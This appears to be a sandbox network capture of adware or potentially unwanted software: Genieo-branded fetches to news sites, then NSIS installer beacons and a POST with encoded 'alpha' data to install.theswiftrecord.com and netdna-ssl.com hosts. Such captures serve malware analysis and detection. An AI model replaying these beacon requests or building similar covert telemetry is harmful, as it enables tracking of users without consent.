Content-Type: text/html

Content-Length: 160

Connection: keep-alive

Location: hXXp://tech.yandex.ru/jslibs/
<html>..<head><title>302 Found</title></hea
d>..<body bgcolor="white">..<center><h1>302 Found
</h1></center>..<hr><center>nginx/1.6.2</ce
nter>..</body>..</html>..HTTP/1.1 302 Moved Temporarily
..Server: nginx/1.6.2..Date: Fri, 15 May 2015 23:04:52 GMT..Content-Ty
pe: text/html..Content-Length: 160..Connection: keep-alive..Location: 
hXXp://tech.yandex.ru/jslibs/..<html>..<head><title>
302 Found</title></head>..<body bgcolor="white">..&l
t;center><h1>302 Found</h1></center>..<hr>&
lt;center>nginx/1.6.2</center>..</body>..</html>.
.....


GET /jslibs HTTP/1.1

Accept-Encoding: gzip,deflate

Host: api.yandex.ru

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)

Cookie: yandexuid=6799885171431731091; ys=wprid.1431731090183831-1343673348614201681811797-sas1-5626

Cookie2: $Version=1


HTTP/1.1 302 Moved Temporarily

Server: nginx/1.6.2

Date: Fri, 15 May 2015 23:04:52 GMT

Content-Type: text/html

Content-Length: 160

Connection: keep-alive

Location: hXXp://api.yandex.ru/jslibs/
<html>..<head><title>302 Found</title></hea
d>..<body bgcolor="white">..<center><h1>302 Found
</h1></center>..<hr><center>nginx/1.6.2</ce
nter>..</body>..</html>......


GET /jslibs/ HTTP/1.1

Accept-Encoding: gzip,deflate

Host: api.yandex.ru

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)

Cookie: yandexuid=6799885171431731091; ys=wprid.1431731090183831-1343673348614201681811797-sas1-5626

Cookie2: $Version=1


HTTP/1.1 302 Moved Temporarily

Server: nginx/1.6.2

Date: Fri, 15 May 2015 23:04:52 GMT

Content-Type: text/html

Content-Length: 160

Connection: keep-alive

Location: hXXp://tech.yandex.ru/jslibs/
<html>..<head><title>302 Found</title></hea
d>..<body bgcolor="white">..<center><h1>302 Found
</h1></center>..<hr><center>nginx/1.6.2</ce
nter>..</body>..</html>..HTTP/1.1 302 Moved Temporarily
..Server: nginx/1.6.2..Date: Fri, 15 May 2015 23:04:52 GMT..Content-Ty
pe: text/html..Content-Length: 160..Connection: keep-alive..Location: 
hXXp://tech.yandex.ru/jslibs/..<html>..<head><title>
302 Found</title></head>..<body bgcolor="white">..&l
t;center><h1>302 Found</h1></center>..<hr>&
lt;center>nginx/1.6.2</center>..</body>..</html>.
.....


HEAD /jslibs HTTP/1.1

Accept-Encoding: gzip,deflate

Host: api.yandex.ru

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)

Cookie: yandexuid=6799885171431731091; ys=wprid.1431731090183831-1343673348614201681811797-sas1-5626

Cookie2: $Version=1


HTTP/1.1 302 Moved Temporarily

Server: nginx/1.6.2

Date: Fri, 15 May 2015 23:04:56 GMT

Content-Type: text/html

Content-Length: 160

Connection: keep-alive

Location: hXXp://api.yandex.ru/jslibs/

....

HEAD /jslibs/ HTTP/1.1

Accept-Encoding: gzip,deflate

Host: api.yandex.ru

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)

Cookie: yandexuid=6799885171431731091; ys=wprid.1431731090183831-1343673348614201681811797-sas1-5626

Cookie2: $Version=1


HTTP/1.1 302 Moved Temporarily

Server: nginx/1.6.2

Date: Fri, 15 May 2015 23:04:56 GMT

Content-Type: text/html

Content-Length: 160

Connection: keep-alive

Location: hXXp://tech.yandex.ru/jslibs/

HTTP/1.1 302 Moved Temporarily..Server: nginx/1.6.2..Date: Fri, 15 May
 2015 23:04:56 GMT..Content-Type: text/html..Content-Length: 160..Conn
ection: keep-alive..Location: hXXp://tech.yandex.ru/jslibs/....
..

GET /jslibs HTTP/1.1

Accept-Encoding: gzip,deflate

Host: api.yandex.ru

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)

Cookie: yandexuid=6799885171431731091; ys=wprid.1431731090183831-1343673348614201681811797-sas1-5626

Cookie2: $Version=1


HTTP/1.1 302 Moved Temporarily

Server: nginx/1.6.2

Date: Fri, 15 May 2015 23:04:57 GMT

Content-Type: text/html

Content-Length: 160

Connection: keep-alive

Location: hXXp://api.yandex.ru/jslibs/
<html>..<head><title>302 Found</title></hea
d>..<body bgcolor="white">..<center><h1>302 Found
</h1></center>..<hr><center>nginx/1.6.2</ce
nter>..</body>..</html>......


GET /jslibs/ HTTP/1.1

Accept-Encoding: gzip,deflate

Host: api.yandex.ru

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)

Cookie: yandexuid=6799885171431731091; ys=wprid.1431731090183831-1343673348614201681811797-sas1-5626

Cookie2: $Version=1


HTTP/1.1 302 Moved Temporarily

Server: nginx/1.6.2

Date: Fri, 15 May 2015 23:04:57 GMT

Content-Type: text/html

Content-Length: 160

Connection: keep-alive

Location: hXXp://tech.yandex.ru/jslibs/
<html>..<head><title>302 Found</title></hea
d>..<body bgcolor="white">..<center><h1>302 Found
</h1></center>..<hr><center>nginx/1.6.2</ce
nter>..</body>..</html>..HTTP/1.1 302 Moved Temporarily
..Server: nginx/1.6.2..Date: Fri, 15 May 2015 23:04:57 GMT..Content-Ty
pe: text/html..Content-Length: 160..Connection: keep-alive..Location: 
hXXp://tech.yandex.ru/jslibs/..<html>..<head><title>
302 Found</title></head>..<body bgcolor="white">..&l
t;center><h1>302 Found</h1></center>..<hr>&
lt;center>nginx/1.6.2</center>..</body>..</html>.
...

GET /rss/cnn_us.rss HTTP/1.1

Accept-Encoding: gzip,deflate

Host: rss.cnn.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Content-Type: text/xml; charset=UTF-8

ETag: CJTOwA6ouEhkNd2StVVJhPPT03g

Last-Modified: Fri, 15 May 2015 23:03:55 GMT

Content-Encoding: gzip

Transfer-Encoding: chunked

Date: Fri, 15 May 2015 23:05:03 GMT

Expires: Fri, 15 May 2015 23:05:03 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-XSS-Protection: 1; mode=block

Server: GSE

Alternate-Protocol: 80:quic,p=1,80:quic,p=1
346A.............}.r....{G.?T f.3.*.7R.z.}B.-[.%..X._.E.HB.P0..E=t.G..
..Lf..ao.. `.p.>gS.T.*.X...2...}..;.KO..n.;....#\/...u}uDG[..._...|
.....r.yB.e...J.}.{/.-.p.c.nI'.<."..O..../w7..n,.1I}........x..%...
$.wq..'.w...,x....&<Lvp.0.o$`'.v>\>..,vf;K6.B...;w...N8w.i...
h1d...s..........j..g...p....C....K|....34G(.....c7{.^..p.Wnk.X<...
..B.........I.W....].....a..(..........F4.4.q.xa.p...$,t..ND.0.....-.g
...M...D....d....o.E..8a^...m...K<'. .1.4EO....)...xH./....83"Z..t.
..r....> /......<..B.s..|......,.?.cD...x..Q.m...)[fc.C.....y...
.....KH..t..=Q......./'...'....w.u....0.;|...x...b*...|.........#[email protected]
f.....n....q5....n..9_..........s....g..m8..S...M.....[$.>...?..o.,
.|.Q>...?`..r.._8<..g.......l#v....[?.....t..3p!.t........#.(..-
.{...wi.$p3sy.Jr(....X.c..W.31...\I.......i..w).9|....?.&..|.W./.Vv.i.
.T.....6..O.|l*....^....E3?.2~.)...../s7.l=.a.........&v...\...$$`....
r.x1^.^..bU.D.2...u.c....L...}..Br'..V.E~=.x.....O.8.|..1\.2 ..|....?]
..8>........b.....?.._.e.O.h2)...................c.8../G..jd....D..
..h[../._Yp.,...G."ei......1.G.-.{............#u...7...w~..\7..U..-...
..W'{...l...G.....l..h.........-T....v.&Q.....V.~.,......Q....M....]4.
7*}B.h{.S>J...,..!..G....}P. 6..x......].9.D.oh.6...=M.......x.\.Z.
...;.m4E.{.$..e~.....-%.Vt........G...(b..D.6`._Y.cw%.~..o..p.....%...
...V..8KH0IX<MQ.I..,[email protected]_.o.{.|.V....y.....d..C...7
%...u.....'.<.p.g...d&.. ...Jr.....0@kx..... '........'.^..l.......
.6.. .l.....K@m.|..8QO......;....I.........&...r\.;..%u..".../..S.<<< skipped >>>

GET /rss/edition_sport.rss HTTP/1.1

Accept-Encoding: gzip,deflate

Host: rss.cnn.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Content-Type: text/xml; charset=UTF-8

ETag: tH3s9HnAzdvoi4YBMp0QEKgyVhs

Last-Modified: Fri, 15 May 2015 23:01:53 GMT

Content-Encoding: gzip

Transfer-Encoding: chunked

Date: Fri, 15 May 2015 23:05:04 GMT

Expires: Fri, 15 May 2015 23:05:04 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-XSS-Protection: 1; mode=block

Server: GSE

Alternate-Protocol: 80:quic,p=1,80:quic,p=1
21D5.............}[s......:....j.a.....L..'...8.3I.%.....$.^,.....nP..
Kb..8Z5 qd.......4.O...Br..L...=...#<../...{_...p..g...<..h./C..
..$_&...._...,.#....c/.R..=..|..^...^..^.e.....|..g.{..e.x_......:....
.QE..y..8.q~...!. .9q6^.n........,.R.%.'{{.g....".yZ....g....Lg..gz...
.M/Z./.3/`q.C.1.y...~....%..L....c.}(....0P5..l.xz......}~y..Q.'....~d
.[...%>....~y#[email protected]..\.<.4.q.s..EFX...Oe.1.........g0(2!Y.S..'d
...*}....4g"...'$.!.....d......`.X< ..?.1.r......$.e*fA..p.....%.l.
r.......L.....9>>>..._.w$..%h..(.O.|..[..0..e.M..zy...~..#...
[email protected] m:.."............K.e.................4...>....E....3.q.....
...^.......l..M..\F.1.>Z...d...bq....,.p{...{$.!....{ .aI..O....ox.
o..q...r..H...kt...H..?......A1...XhVL..I19....\..d!.].......d....0y..
...O..e....M.............p..c....).3.. [email protected]*e>aa..H...".2.h.VD.
4..%)[V ....n.....w....v..|................3h..y..........',#{...=2Y..
.7yW..O..g..o.C..-....jB.?...C..H...e.....h..5....$...^...S.zO....^.g.
...{.q;...0...?.Roc.h....]....j..})...}.(.P?..>....,..;..%......M..
...u..E4...7".k.#....6...}..............i:...01$..,-.<.....8...y2C.
l.Y...R..*.?.....C..w..Yw.V...tv....%......&...r.b...y..X....r....(...
(.3..h......e...j[....([email protected]...,#.,.w..f.....x*....o...
.....MVdI..l......O..K.....c.O-D....HS.3.k.'2.....|Q...|.:]..a.l.&....
;..u.l...pT.!>35....`......^...s.S.B..,...n.$8...z,.S..A"..,.k.T...
.tP..Qq.....w. E...ZB....x..........$..'dR...9.~.."..-4.@#...........W
.I.... .... ....P.u....u..90F..'.....\...._....R.....e2..aE..'.Jg.<<< skipped >>>

GET /rss/edition_sport.rss HTTP/1.1

If-Modified-Since: Fri, 15 May 2015 23:01:53 GMT

If-None-Match: tH3s9HnAzdvoi4YBMp0QEKgyVhs

Accept-Encoding: gzip,deflate

Host: rss.cnn.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 304 Not Modified

Date: Fri, 15 May 2015 23:05:04 GMT

Server: GSE

Alternate-Protocol: 80:quic,p=1,80:quic,p=1

GET /t.ashx?e=wlkQ3WKgYpT/HsUBn07KUowWqg5Eat/CW6KtgZYBj4N4E7mrr1h80riKIFo3W8f23Wq7IsWCDz6NzYZ/unMPuNaoPZj94HyTXeFaoUgIZNgjlVbxwk2 SY4G r 3F6T7Ye9UEEkdnkbYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW Q== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: xqjdaibxl-g48pastf.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:02:24 GMT

Content-Type: text/html; charset=utf-8

Content-Length: 13

Connection: keep-alive

Cache-Control: private,no-cache, no-store

X-AspNet-Version: 2.0.50727

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

abfgshdgfjhsk....

GET /t.ashx?e=wlkQ3WKgYpT/HsUBn07KUowWqg5Eat/CW6KtgZYBj4N4E7mrr1h80riKIFo3W8f23Wq7IsWCDz6NzYZ/unMPuNaoPZj94HyTXeFaoUgIZNgjlVbxwk2 SY4G r 3F6T7Ye9UEEkdnkbYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW Q== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: xqjdaibxl-g48pastf.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:02:24 GMT

Content-Type: text/html; charset=utf-8

Content-Length: 13

Connection: keep-alive

Cache-Control: private,no-cache, no-store

X-AspNet-Version: 2.0.50727

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

abfgshdgfjhsk....

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: xqjdaibxl-g48pastf.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:02:25 GMT

Content-Type: text/html; charset=utf-8

Content-Length: 13

Connection: keep-alive

Cache-Control: private,no-cache, no-store

X-AspNet-Version: 2.0.50727

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

abfgshdgfjhskHTTP/1.1 200 OK..Date: Fri, 15 May 2015 23:02:25 GMT..Con
tent-Type: text/html; charset=utf-8..Content-Length: 13..Connection: k
eep-alive..Cache-Control: private,no-cache, no-store..X-AspNet-Version
: 2.0.50727..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X-Cache:
 MISS..abfgshdgfjhsk..

GET /mg?alpha=aAA7MU0nTQwWCy1GFBtCaURoPE1oRjlAPh5oTXdZbVZ6Ik85DSZDVxtHOj4YRxEjYEdoBVZFD3R0Yh4oewgBPD8QVyd+Rjh5QzZrVi9y HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: install.theswiftrecord.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Cache-Control: no-cache, no-store

Pragma: no-cache

Content-Type: text/plain; charset=utf-8

Expires: -1

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

SVR: SP003C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Date: Fri, 15 May 2015 23:03:11 GMT

Content-Length: 2004

V3ZTdjYISiYkfGANbgppQC4XfjkCYQxhfTNBBSYgWS8TcndLSgYSUkdMNAwaGXxEYxsTWC
9 ZigZYU5VL09DBQV7NkQ0dHV1GzchdCpGTXB5BhZyKAcqVV91TXQlYX8RUU0qIR4YFVEE
EGExITpeclx9DwtcIWYhAzBXeWQHd0knHHwhA2BuQ3YZb3F9KWdLYWs7EX4sFABeX2V6Cl
tiew1kWnwhW0kHRwcXYF16MVo8FXZWRVV1JScPYghuYhd2YmoLKy1FeDoPKllhJ2I2cAo 
BxIuRA1TbxRKZ2VAQz44Mm5MOW1GXxFeCQl3IxwHST8FdgkUEEArKhI0XWgyTjFpJxx8IW
87bVM4Ty0mdyo5CmFdKgB0LhQnYFtqZE1DPnQUe1N8IVRVEVMNK2ULKSFeEw52GQwSNyIl
FzNXNjILYHsxH3sgA2BmV3YGJn85I21JZ1F4X2MoBCZLFn0zQQUmIFgmE3J3S0oGElJHTD
QTABl8RGMbE1gvfmYoOUFzfhZ2bSgRZTd9BlNCaBwtNGhkOQpyRDYQchQQLlMYPH9dDWg2
Q3JHIGZRTgZUPgRoCiV1AT4TfxZLEmsrNhglfHtkC2V6BRhsJ0p4OlB7GTA2N2R8W2BSNR
dzeEslV1Z1dARDYWIAdEtyOUZIFlUVSX9dKTMZal8hVkVEdDQhWXoQUlsxRD1qUnklVTIi
DDgmOiByKGFNdks7CWQGLQJDTmlDXQ93OE01STFvR18tUQUAJkUuIlc8SjEfH0BoJzAeJG
R7fBd2PXwefChNdiJQdQcgNlUnYUFyQBkNcjkaYQxcZ31bBCg4CGRbJ2xAXkEKDgRoDCV7
GTUechkTEjcwNg4lTzZrQHp7ZEowdw14dE9qEGFpOQ5ee1MHdkdnOwUrFAAkQlESbXQVck
0 Yl5JP2w4F2scBCJWIEQ/WBFRYTEhNSFffzJYfWoqHCVmRCJwU3kBJjdNJ3ldYQdgC2I2
HW8UXGljSwRKexV STVAWl8AW0pfYh4sJF58RHoJA0diNiBZelR7fBF2M2QVcSVCLiIMbg
c2NmZqbgptQXhfLm5dYUJDdnQKWyZSKkRoci8QSgJEAEc XQ0 WCIJYBUBRFEYExIuVnVn
EU9DBQV7NkQ0dGB/BzA6dChJdFFLMwtkLhAvWmZaUEYVbVYOcFg1cRAWQUYJCXEaDjZWNU
QpFBJcYWhmHjhCf3MWdnsQEWUxRHg6WG8ZL385IHpaZ0AUBGMzByZ1UmNyQ0M fAB7TDUv
EFMQVB8KdhtibV0xCmAfSxJoPCUYNBAgZBBmejtccmZIPiIMK0VxfzkybFhhB2BHXxEiFB
QWJGFJFWw4WzVyOWBAVRBfDhFYIxc VTQJZAk7bE4xNgklXG5GB2FsLx9nGH0Pbl90Bjcy
dypJdFNMKABkMhAxXRgqM14AaG8EWV49ZhAADUUECShdJS9LNQVnHwNmbCgxHmIIdGUOfz
NkFmY2Qj9OV24cNTZYLnBLbwdgA3Y2AiYaGG9iTBZraAU1BTZiXkkGHEoAfB4jIxlq

<<< skipped >>>

GET /fp?alpha=dXJcL3crCTARFysOcwV4dDYPInd1LkpeNlJzHTArcmZRLzF3Ay9ZHwM0SCohNGFefnpoAEZcMHR9CQBmbSNWL3IYBh4zAyxdOTxhUCYnImg2c19jKWJqC1tyCxxcbWJwJh07cyUIVVAbcjVANCUvYVF7CHQMMikoaHQNcXciZH4iZ2Y3T3EkOStMOiZdYiwQZWVpSnd5c38AQ3cLDFpodnEqED51MAkJSR11IEcgNihnSSxaZVBmO2c0eW0rPiV5eWcRfyVNay97chV9e1wxOj0RQ3gIPH9udQlSdgMaXm99ImBcNBV5UAgGXjQgNHxwfDoNL0kbSDEkNm1zD0l3NWJ5ewxpdxhCdVArTDcqAHtYXHEyblJjKWpwDk5wdhhcamJyIHZIBlQabwdFMQcs HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: install.theswiftrecord.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Cache-Control: no-cache, no-store

Pragma: no-cache

Content-Type: text/plain

Expires: -1

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

SVR: SP003C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Date: Fri, 15 May 2015 23:03:15 GMT

Content-Length: 0

....

GET /ii?alpha=dXJcL3dWGzFEEXJjcwV4dDYPInd1LlAHekBBSD4yJy4WaDJgAz8eQCF0UEtzejsbLh0sQmdvTD15D3NgdTkgKh8adQAydiYqTis0UDEnACRYLQc+KiYmHxAgDm9eax93KwM+byUJWCgEc0QxLDsgYCp9FnFyMl42H3QNAWkDVDZyRxZ0CHV8Ji5LLzwJdzRAcClvXXwvZ3YfByJVbhwyZip2SHkuf0wJT00iZjJreU9pWHoVdRo7LzVpagx1ZHImNnhURAxBYHxBTVx1YU07ahR4UDcEKnQkNBVDcQcBDDQvZXxDfydiAyEASjVvA3ZwbXQ+I1UhW3VuJW5kbTE+JnJjbFhELk9vYVo+Wmx3SzFzHisnZEp4NWJpDlV3AgwdOCk1elNsYmBfDwIJfSBBNyY/OxomWitTP1hrPihUMDlgP0VxWF8lSiMSYH8Of2EQZHQHeDN4BHxrbj4fAjEOFV5xanMhFmQjLQ5cUxx3OkUvLCsWU3gLfwA3O3U2IAAFMCxkdTlVRC1APgVaQTRbNF0tdxJ4Qx01AFp1MEkMIw5qLxEIBjVHbS19UFE+ZhVLN0tZTARPLk94Yk9qZCshEWMHDWBxbVQLFkdxNWF/FjpBGRFZIgwnGgM9cHMDXBUuUElILTB+NVVnIS0PShMUdiZVOic3EXY= HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: install.theswiftrecord.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Cache-Control: no-cache, no-store

Pragma: no-cache

Content-Type: text/plain; charset=utf-8

Expires: -1

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

SVR: SP003C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Date: Fri, 15 May 2015 23:03:15 GMT

Content-Length: 84

FI0WbAce11RocgvuKxBGEsBUeBgQglFhdR2BcDwHAJkIJhBLr1NGNQrdVz8VC8pEbGkepT
0yGUWXdXz1E4cZ....

POST /if?alpha=eG8kLkI5NSEJah1cCwRNeSt3I0J4MygGT01cMD8HKjNuaQdtHkcfdSxpKEpGdyZjLyghXx9ueTBkd3JVeCRYKyoXaHgzQys3NioBXSxfARFVMH8/Hys7ZxEVA3Imaip6Nns/WigUICkxfllJLQ4tfVJ8I3xvSl8DEml1AFwOSU57ZxsOPmcYdUpsclN/Ng4cI30qZixGeDc3X0YYRytuXn87ZjhCMxIhRi19LzwsEjItdC1MOkZHdVUsKSktFigsDHtiZC85VEkoMywrCQ1tUkBeO3UnfR94PSQNPlFSKwk9aGE7fA5tRik/dSR5Z29QOGknfyMqQA46XycvIDBZAGMLbGtVMjB2VE5qbH9IQyxCR1BaMX0pSy0pKA0cX102Ek5ueC16BHRMekgmaismKQ0jfyF6LjtMCGpZNzxlMgUuYUgkJBdzZiQbam9jdUAJGgwXHGMwem8GCzQoFhdaEUUoDzprOyFRc1UpXDokL3glWjIoZ3Y3eAVLLAJyNCR/VH0wXS4+E2tsMDYjMTIhEwF5Eh8UNwVzI107fCUNH1AMUhIxAE9ubBhwQCksXxVTST5UZCZ1dkgJZSlZFiM9Ki8KcF0nTE9hDxlXJD9ndiZxeSgDAhUmY0QCWT8oJEIkV0NiKQ8iLhsoJF5wXUhYI25jOGdxP3goay1QYTJLDSA= HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: NSIS_Inetc (Mozilla)

Host: install.theswiftrecord.com

Content-Length: 78

Connection: Keep-Alive

Cache-Control: no-cache

alpha=eG8kLkIKbRIMMiZ5IUosXzB3PV0COyUPLn9BZhgPOm8URBh Qng0SC9weERKeC45SnsoUQZx
HTTP/1.1 200 OK

Cache-Control: no-cache, no-store

Pragma: no-cache

Content-Type: text/plain; charset=utf-8

Expires: -1

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

SVR: SP003C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Date: Fri, 15 May 2015 23:03:15 GMT

Content-Length: 41

{"status":"OK","url":null,"message":null}HTTP/1.1 200 OK..Cache-Contro
l: no-cache, no-store..Pragma: no-cache..Content-Type: text/plain; cha
rset=utf-8..Expires: -1..Server: Microsoft-IIS/7.5..X-AspNet-Version: 
4.0.30319..SVR: SP003C2..X-Powered-By: ASP.NET..p3p: CP="CAO PSA OUR".
.Date: Fri, 15 May 2015 23:03:15 GMT..Content-Length: 41..{"status":"O
K","url":null,"message":null}..

GET /9875.ashx?e=M7A8vgjJHrit /KxvF2yas3pm3/PWZt17OXLse4BafQHqUQ0J3/4E9SSaUQFDqWEnmP3t8anGDcrKE3Uv4Cvg Lt6BhzfOsDBXnWkuh5LzaUfdGpw3nUglF9z0WypnnGstnhkcefCVXiLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmvfwqbgkyABd HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:02:45 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

HTTP/1.1 200 OK..Date: Fri, 15 May 2015 23:02:45 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS..

GET /10957.ashx?e=KC46TpkJIZzYLhsRuGeUaa372E7NlAtQKW60GVA2gEGMDmRWpWBZ0PxJo1EJGyYRjOluN4MfK82 hGV09zVjKib2gKUCIXwJOoxgVw449ZDRm4p1GsWQtiapYc0LFxbdUeZLRmueCpr 7rPtSKe/ Nh2N9SXtw5amUOTLbsQW9Sa2dF0VKZsa4Q2/MQzLTqMBPEhRyyBD7A7Ux5MSUiBG6zbMzc4pOx2GGp9MstS3cDTDTdslR3ozlOtip/TjZswqBmTALOU7ah2wY9krKeIwcv4S/K6mfkWhIAbznvPq9LAXh4LPUO ueIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSaf8y/TzWjMf7rKwD6t b1ZQ8RyywzcfoHBwwa3T8ODYmcP7mQZ22oNj/q7W eRuIgzcPe3ThP39Y= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:02:45 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

HTTP/1.1 200 OK..Date: Fri, 15 May 2015 23:02:45 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS..

GET /id/100746255?region=world HTTP/1.1

Accept-Encoding: gzip,deflate

Host: VVV.cnbc.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:05:11 GMT

Server: Apache

Vary: User-Agent

Content-Type: text/html; charset=utf-8

Via: 1.1 aicache6

Content-Length: 30186

Content-Encoding: gzip

X-Aicache-OS: 10.10.1.22:80

Connection: Keep-Alive

Keep-Alive: max=20
.............v.H.6xm...!................S.r...][email protected].}1s97s
?.0k^..d"2..$...ut.]-.y>DF~...../...s.}..i.....6.....76.....u3g..d.
yv.X......M.?sD....[6.....6sA2.?bc.n9..g.;.C..R.|.........{.(.v,{3g.1$
.>..&.....z.eR.....;.l9.F.|W7...cv..C(.9....x.c.Q....../7s?.>...
..."{.....5..f....4h$)..............z./....\,.~..C....z..lo.........7o
...;...uc1.m...E.]..c.].I..gB...0...3)tC.d.l...E...N.......o..k.......
[email protected] ..8.A..7[..0.....Q..o~:.-.x.....kL4...#H.sA.)3.
......4..i.D..8...}....F..\..Ni_...5..8z...#]........!P.IZc.......V..o
L...v..d.P......#. .z.&....5..2'.5.H.ka.3.X#....0.S.....HX.s#..z...t.g
....K.,...........qQ...$UK..\N)....E;.......Al....f...VP.6`>..(F...
<... ..!.....Z.....9......I..X........8}0)\..fj=.....u.............
.E.r.Lvj.oU.....N..i3 ..b..gyq.6-K...iM4....;C7/..6.1..L.m..........V.
..............i\......g.(.?.516..t.a.W.5I.d. U..r....ZC....$%2..{di0..
E..R. ..R.Q.6..."...3v......Z..g'.....t..f.Ql...........O..*l....M..'-
....c...::35#...d..%Hp.k`.K.|&H$. sZ.....SU....k.~OIq.o[.B_d...u....Rg
.....dN.}.F.C.g._.....\.......7.z2.........89...M....y.p.U..> .G...
. ..o....e..m..R:..._`......c..k...)8d....L..T.?.{<.>b....~..6..
V.M.Q.....:....X)J5.......`.......Z...j...4 .uJb..'/f..3.i....MB.v.k03
.n4...!...Oj.}.f8..............,....Bh"......o.60X..A.s..a.....f.0....
(......Y.e..3,..u.b..f-7.a.w..IV....1,..s.^[email protected]. zX.
..:.c.3.b].0..5..\..f.u...e%..{mc.A..\oH..Z....1...zl...>y.8k-M.y.`
.^.q..gV.=.6....m....k.j.&.5U.r../.Q...$v. L.s:.r#I....Kr...i6c...<<< skipped >>>

GET /favicon.ico HTTP/1.1

Accept-Encoding: gzip,deflate

Host: VVV.cnbc.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 12:28:09 GMT

Server: Apache

Keep-Alive: timeout=15, max=93

Content-Type: image/vnd.microsoft.icon

Via: 1.1 C aicache6

Content-Length: 15086

X-Aicache-OS: 10.10.1.25:80

Connection: Keep-Alive

Keep-Alive: max=20

Expires: Sat, 16 May 2015 12:28:09 GMT

......00.... ..%..6...  .... ......%........ .h....6..(...0...`..... .
.....$................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
..................................................................

<<< skipped >>>

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEEES5jLHsYoCmjofrIA6uJ8= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

